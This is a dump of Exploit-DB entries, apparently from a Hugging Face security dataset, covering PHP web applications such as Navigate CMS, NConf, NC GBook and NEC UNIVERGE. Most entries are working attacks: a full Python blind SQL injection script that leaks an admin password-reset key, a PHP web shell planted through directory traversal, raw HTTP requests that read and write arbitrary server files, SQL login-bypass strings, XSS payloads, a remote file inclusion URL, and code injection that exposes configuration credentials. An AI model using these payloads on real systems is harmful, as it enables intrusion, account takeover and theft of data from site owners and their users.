deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45445
Description: Navigate CMS 2.8 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-09-24
Author: Renzi

Exploit:
# Title: Navigate CMS 2.8 - Cross-Site Scripting 
# Author: Felipe "Renzi" Gabriel
# Date: 2018-09-19
# Vendor: https://www.navigatecms.com/en/home
# Software: Navigate CMS 2.8
# CVE: CVE-2018-17255

# Technical Details & Description:
# A Reflected Cross-Site Scripting web vulnerability has been discovered in the "Navigate CMS" web-application.
# The vulnerability is located in the 'fid' parameter of the`navigate.php` action GET method request.
  
# PoC
  
http://Target/navigate/navigate.php?fid=files"><marquee>RENZI</marquee>
Exploit-DB #48545
Description: Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-06-04
Author: Gus Ralph

Exploit:
# Exploit Title: Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated)
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://www.navigatecms.com/en/home
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download
# Version: 2.8.7
# Tested on: Ubuntu
# CVE: N/A

# This script will leak the "activation_key" value for the user who's ID is set to 1 in the database.
# The activation key can be used to reset that user's password to whatever you want, bypassing the need to crack a hash.
# An example password reset URL would be: `/login.php?action=password-reset&value=[ACTIVATION CODE LEAKED FROM DB]`

import requests, time, string

user = raw_input("Please enter your username: \n")
password = raw_input("Please enter your password: \n")
URL = raw_input("Enter the target URL (in this format 'http://domain.com/navigate/'): \n")

s = requests.Session()
data = {'login-username': (None, user), 'login-password':(None, password)}
s.post(url = URL + "login.php", files = data)
dictionary = string.ascii_lowercase + string.ascii_uppercase + string.digits
final = ""
while True:
        for x in dictionary:
                payload = '(SELECT (CASE WHEN EXISTS(SELECT password FROM nv_users WHERE activation_key REGEXP BINARY "^' + str(final) + x + '.*" AND id = 1) THEN (SELECT sleep(5)) ELSE date_created END)); -- -'
                r = s.post(url = URL + "/navigate.php?fid=comments&act=1&rows=1&sidx=" + payload)
                if int(r.elapsed.total_seconds()) > 4:
                        final += x
                        print "Leaking contents of admin hash: " + final
                        break
                else:
                        pass
Exploit-DB #48550
Description: Navigate CMS 2.8.7 - Authenticated Directory Traversal
Type: webapps
Platform: php
Date: 2020-06-04
Author: Gus Ralph

Exploit:
# Exploit Title: Navigate CMS 2.8.7 - Authenticated Directory Traversal
# Date: 2020-06-04
# Exploit Author: Gus Ralph
# Vendor Homepage: https://www.navigatecms.com/en/home
# Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download
# Version: 2.8.7
# Tested on: Ubuntu
# CVE: CVE-2020-13795

A malicious user can abuse the authenticated templates functionality to traverse out of the templates directory to read and write to any file on the webserver as www-data.

For this vulnerability, I looked into the "templates" feature of the application. It seems we can edit any file in the application's templates directory, for example:
 `/var/www/html/navigate/private/1/templates/`
 
My initial thought was to traverse out of the current directory and read the global config file (located at `/var/www/html/navigate/cfg/globals.php`).

My payload would then consist of creating a template, setting the path to be `/var/www/html/navigate/private/1/templates/../../../cfg/globals.php`

Furthermore, this can be abused to write to a PHP file and gain RCE on the remote server, for example:

Traversal payload:
`../../../navigate.php`

PHP Code execution payload:
```
<?php
system($_GET['cmd']);
?>
```
Exploit-DB #26063
Description: Naxtor Shopping Cart 1.0 - 'Lost_password.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-02
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/14454/info

Naxtor Shopping Cart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/lost_password.php?&email=<script>var%20xss=31337;alert(xss);</script>&reset=reset
Exploit-DB #26064
Description: Naxtor Shopping Cart 1.0 - 'Shop_Display_Products.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-02
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/14456/info

Naxtor Shopping Cart is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/shop_display_products.php?cat_id='
Exploit-DB #8746
Description: NC GBook 1.0 - Remote Command Injection
Type: webapps
Platform: php
Date: 2009-05-20
Author: ThE g0bL!N

Exploit:
--------------------------------------------------------------
NC GBook 1.0 Remote Command injection Exploit
---------------------------------------------------------------
Founder :ThE g0bL!N
Vendor:http://www.php-gaestebuch.com
Thank You Very Much His0k4
Download:http://www.php-gaestebuch.com/downloads/1.0/
Note: You Can choose Any Function in Php :)
---------------------------------------------------------------
Exploit:
--------
    1) Go To Url:
    ---------
              http://wwww.victim.co.il/[path]/index.php?gbAction=add .
     
 2) Write In:
     --------
                Autor:  <? readfile("./config/config.php"); ?>.
                E-Mail:  <? readfile("./config/config.php"); ?>.
                Homepage:<? readfile("./config/config.php"); ?>.
     
  3) Post The Topic:
        --------------
 
  4) View Source:
     -----------
 
  5) Hack The site :)
     ---------------
Exapmle:
--------
$gbConfig['database']['system'] = "mysql";
$gbConfig['database']['server'] = "localhost";
$gbConfig['database']['user'] = "";
$gbConfig['database']['password'] = "";
$gbConfig['database']['name'] = "";
----------------------------------------
$gbConfig['admin_username'] = "ThE g0bL!N";
$gbConfig['admin_password'] = "sh5d81d6zs7yt4g41g";
$gbConfig['admin_email'] = "x0q@hotmail.fr";
--------------------------------------------------
Demo:
----
http://www.php-gaestebuch.com/demo/
----------------------------------------------------------------
Greetz : His0k4 Dos-Dz TeaM Snakes TeaM And All My Freinds (dz)
-----------------------------------------------------------------

# milw0rm.com [2009-05-20]
Exploit-DB #8747
Description: NC LinkList 1.3.1 - Remote Command Injection
Type: webapps
Platform: php
Date: 2009-05-20
Author: ThE g0bL!N

Exploit:
--------------------------------------------------------------
NC LinkList 1.3.1 Remote Command injection Exploit
---------------------------------------------------------------
Founder :ThE g0bL!N
Vendor:http://www.php-linkverzeichnis.de
Thank You Very Much His0k4
Note: You Can choose Any Function in Php :)
---------------------------------------------------------------
Exploit:
--------
    1) Go To Url:
    ---------
              http://wwww.victim.co.il/[path]/index.php?action=vote&link=$number of links
     
 2) Write In:
     --------
             Ihr Name:  <? readfile("./inc/config.inc.php"); ?>.
    Ihre E-Mail: x0q@hotmail.fr
    Ihre Bewertung:10 sehr  Gut  # bel Hendia allah yahfad wa youstour
             Kommentar: Hacked By ThE g0bL!N
              
  3) Post The Topic:
        --------------
 
  4) Then Go to:
     -----------
  http://www.victim.co.il/[path]/index.php?action=show&view=votings&link=$number of links .
  
  5) View Source:
     -----------
  
Exapmle:
--------
  1)http://wwww.victim.co.il/[path]/index.php?action=vote&link=20000
  2)http://www.victim.co.il/[path]/index.php?action=show&view=votings&link=20000
  
Result:
--------
  $db_host = "localhost";            // MySQL - Hostname
$db_user = "d009b9e8";            // MySQL - Username
$db_[CREDENTIAL_REDACTED]";            // MySQL - Passwort
$db_name = "d009b9e8";           // MySQL - database
Demo:
----
http://www.php-linkverzeichnis.de/demo/index.php?action=vote&link=800
----------------------------------------------------------------
Greetz : His0k4 Dos-Dz TeaM Snakes TeaM And All My Freinds (dz)
-----------------------------------------------------------------

# milw0rm.com [2009-05-20]
Exploit-DB #4273
Description: Ncaster 1.7.2 - 'archive.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-09
Author: k1n9k0ng

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : Ncaster 1.7.2
Discovered By   : k1n9k0ng
Scripts site    : http://ncastercms.com/downloads/ncaster172.zip
Thanks To       : #sekuritionline, #semprol, #mimid, #r.i.p, #x-code, #yogyafree
special To      : adhietslank, babypunk, bugs_, cyberlog, cah_gemblunkz
site            : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug Script:
require("$adminfolder/sources/datelib.php");

bug found:
"http://www.site.net/ncaster/admin/addons/archive/archive.php?adminfolder=[shell]"

# milw0rm.com [2007-08-09]
Exploit-DB #24269
Description: NConf 1.3 - '/detail.php/detail_admin_items.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2013-01-21
Author: haidao

Exploit:
# Exploit Title:  nconf  detail.php，detail_admin_items.php  blind injection
# Date: 2013/1/20
# Exploit Author: haidao，54haidao@gmail.com
# Software Link: http://sourceforge.net/projects/nconf/files/nconf/
# Version:    nconf 1.3
# Tested on: Server: Apache/2.2.15 (Centos)  PHP/5.3.3
 

i find two files we can inject : 
/nconf/detail.php?id=1
/nconf/detail_admin_items.php?type=attr&class=host&id=207

both the inject point is 'id',, u can inject it  by sqlmap,,of course u mast have a account to login.

inject  like this:
python sqlmap.py -u "http://192.168.2.103/nconf/detail.php?id=1"  -p id  --cookie="XXX"  --dbs

[*] starting at 23:45:22

[23:45:22] [INFO] resuming back-end DBMS 'mysql' 
[23:45:22] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 6429=6429

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---
[23:45:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6.3
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0.11
[23:45:22] [INFO] fetching database names
[23:45:22] [INFO] fetching number of databases
[23:45:22] [INFO] resumed: 3
[23:45:22] [INFO] resumed: information_schema
[23:45:22] [INFO] resumed: nconf
[23:45:22] [INFO] resumed: test
available databases [3]:
[*] information_schema
[*] nconf
[*] test
Exploit-DB #24270
Description: NConf 1.3 - Arbitrary File Creation
Type: webapps
Platform: php
Date: 2013-01-21
Author: haidao

Exploit:
# Exploit Title:  nconf  file read and wrtite exploit 
# Date: 2013/1/20
# Exploit Author: haidao，54haidao@gmail.com
# Software Link: http://sourceforge.net/projects/nconf/files/nconf/
# Version:    nconf 1.3
# Tested on: Server: Apache/2.2.15 (Centos)  PHP/5.3.3
 

nconf can modify the config file of nagios and save it to the server,but haven't check the file's direction and name  ,so we can  read and write any files in the server under the privileges of apache,

1,read the file or direction , change the directory or filename ,when filename is null , you get a list of the directory,

POST /nconf/static_file_editor.php HTTP/1.1
Host: 192.168.110.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.110.130/nconf/static_file_editor.php
Cookie: Cacti=0aj6jgsl3a61grcnmnl74pa9o6; PHPSESSID=2ss1u9lqeukh63i4khplveoh07
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
 
directory=static_cfg&filename=../config/mysql.php



2, write the content into the file .
attation: if the magic_quote is on ,, u must attation the ' and ",of course we can bypass it .

POST /nconf/static_file_editor.php HTTP/1.1
Host: 192.168.110.130
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.110.130/nconf/static_file_editor.php
Cookie: Cacti=0aj6jgsl3a61grcnmnl74pa9o6; PHPSESSID=2ss1u9lqeukh63i4khplveoh07
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
 
directory=static_cfg&filename=s.php&action=Save&content=<?php phpinfo();?>
Exploit-DB #24564
Description: Nconf 1.3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-03-04
Author: Saadi Siddiqui

Exploit:
# Exploit Title:  nconf  handle_item.php，Modify_attr.php etc Multiple Sql injection
# Date: 2013/3/4
# Exploit Author: Saadat Ullah，saadi_linux@rocketmail.com
# Software Link:  http://sourceforge.net/projects/nconf/files/nconf/
# Vendors:	  http://www.nconf.org/
# Author HomePage: http://security-geeks.blogspot.com/
# Version:    nconf 1.3
# Tested on: Server: Apache/2.2.15 (Centos)  PHP/5.3.3

Nconf Is vulnerable to Sql injection in most of the files , they did'nt sanitize any GET POST FILEDs.
Some OF them Are

Blind Sqli In handle_item.php on Id parameter
handle_item.php?id=1'
P0c
$query2 .= '   AND id_item <> '.$_GET["id"];


delete_attr.php
POST DATA : id=15'&name=&delete=yes&submit=Delete
Poc
Id Via GEt FIELD
$query = 'SELECT attr_name, config_class FROM ConfigAttrs, ConfigClasses WHERE id_attr='.$_GET["id"].' AND fk_id_class=ConfigClasses.id_class';
And id via Post Field
$query = 'DELETE FROM ConfigAttrs
                WHERE id_attr='.$_POST["id"];

clone_host_write2db.php
Again On id paramerter.
Their are Many more...

A Simple Reflected XSS 
http://localhost/nconf/handle_item.php?item=<script>alert('Hi');</script>
Poc
$item_class = $_GET["item"];
.
.
echo without Sanitization
echo '<h2>'.ucfirst($handle_action).' '.$item_class.'</h2>';

A LocalPath Disclose
http://localhost/nconf/call_file.php?ajax_file=service_list.php&debug=yes
Post Data:
host_id=5372&highlight_service=5373&class=a


#Independent Pakistani Security Researcher
Exploit-DB #12370
Description: NCT Jobs Portal Script - Cross-Site Scripting / Authentication Bypass
Type: webapps
Platform: php
Date: 2010-04-24
Author: Sid3^effects

Exploit:
# Exploit Title: XSS and Authentication bypass in NCT Jobs Portal Script
# Date: 24-apr-2010
# Author: Sid3^effects
# Software Link: N/a
# CVE : []
# Code : []      ______________________________________________________________________________
                    XSS and Authentication bypass in NCT Jobs Portal Script
                         Vendor:http://www.ncrypted.net/
     ___________________________Author:Sid3^effects_________________________________
  

Description :

NCT Jobs Portal script is a web product for running powerful and customized job portals. Be it a fresh site that you want to launch or be it for integration into your already existing website, NCT Jobs Portal is everything you need when it comes to job portal or business networking solution. Jobs Portal comes with a front-end and a back-end (Admin Panel). Admin Panel has a wide range of functions along with a CMS (Content Management System) which will easily enpower you to customize and manage your very own Jobs Portal.

script cost :$99 
---------------------------------------------------------------------------
	* Authentication bypass:

	The following script has authentication bypass in the admin login 

	use ' or 1=1 or ''=' in both login and password.

---------------------------------------------------------------------------
	* XSS (cross site scripting ) :
       
	XSS is also found in the search field. 

 Parameter Name: Keywords or Tags or Desired City
 Parameter Type: Querystring 
 Attack Pattern: '"--><script>alert(0x000872)</script>        
---------------------------------------------------------------------------

ShoutZ :
------- 
               ---Indian Cyber warriors--Andhra hackers-- 

Greetz :
--------
 ---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--
Exploit-DB #43268
Description: Nearbuy Clone Script 3.2 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Nearbuy Clone Script 3.2 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/nearbuy-clone/
# Demo: http://www.fxwebsolution.com/demo/arthi/nearby/
# Version: 3.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/category_list.php?search=[SQL]
# 
# Parameter: search (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: search=s%' AND 2775=2775 AND '%'='
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: search=s%' AND SLEEP(5) AND '%'='
# 
# # # # #
Exploit-DB #42353
Description: NEC UNIVERGE UM4730 < 11.8 - SQL Injection
Type: webapps
Platform: php
Date: 2017-07-21
Author: b0x41s

Exploit:
# Exploit Title: NEC UNIVERGE UM4730 < 11.8 SQL injection
# Vulnerbility: SQL injection login bypass
# Date: 15-12-2016
# Exploit Author: b0x41s
# Author web: https://www.xrayit.nl
# Vendor Homepage: https://www.nec-enterprise.com
# Category: webapps
# Version: 11.6.0.31
# Tested on: Windows server 2008

Description:
The auth_user parameter is vulnerable to SQL injection.
The login can be bypassed.

POC:
POST /admin/index.php HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://127.0.0.1/admin/index.php
Content-Type: application/x-www-form-urlencoded
Content-Lenght: 105
Cookie: PHPSESSID=dadu22lsue7utch05a24lgp54; g_lang=en
submitButton=submitButton%3dSing+in&formSubmitted=1&auth_pw=root&auth_user='%20or%201=1--%20-&login_language_select=de

Fix answer from vendor:
The WAC login page is no longer available to sql injection bypassing authentication.The fix was committed prior to releasing 11.8.
Exploit-DB #26612
Description: Nelogic Nephp Publisher 4.5.2 - SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15584/info

Nelogic Nephp Publisher is prone to SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/index.html?m=comments&id=[SQL]
/index.html?m=show&id=1[SQL]
/index.html?m=search&opt=search_proceed&keywords
=175&nnet_uid=1&nnet_catid=[SQL]
Exploit-DB #32846
Description: Nenriki CMS 0.5 - 'ID' Cookie SQL Injection
Type: webapps
Platform: php
Date: 2009-03-10
Author: x0r

Exploit:
source: https://www.securityfocus.com/bid/34067/info

Nenriki CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Nenriki CMS 0.5 is vulnerable; other versions may also be affected. 

javascript:document.cookie ="password=1; path=/" then
javascript:document.cookie ="ID=' union select 0,0,0,concat(id,name,char(58),password),0,0 from users--; path=/"
Exploit-DB #11806
Description: nensor CMS 2.01 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-18
Author: cr4wl3r

Exploit:
===============================================
Nensor CMS 2.01 Multiple Remote Vulnerabilities
===============================================

[+] Nensor CMS 2.01 Multiple Remote Vulnerabilities

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original : http://inj3ct0r.com/exploits/11346
[+] Download: http://code.google.com/p/nensor-cms/downloads/list

[x] LFI:

$sPage=(isset($_GET["page"]))?$_GET["page"]:"";

if(is_file("".$sPage.".php")){
 include "".$sPage.".php";
}elseif(is_file("".$sPage.".js")){
 include "".$sPage.".js";
}

[x] LFI PoC: [payh]/x/modules/javascript.php?sPage=[LFI%00]

[x] Auth Bypass:

$sql = "SELECT iKey,sUsername,iKeyGroup,bForumAdmin,sLanguage,sPassword,sMail,sType
    FROM tb_users
    WHERE sUsername='".strInput($_POST["sUsername"])."'
    AND sPassword='".md5($_POST["sPassword"])."'
    AND bActive=1";

[x] PoC: ' or '1=1


# Inj3ct0r.com [2010-03-18]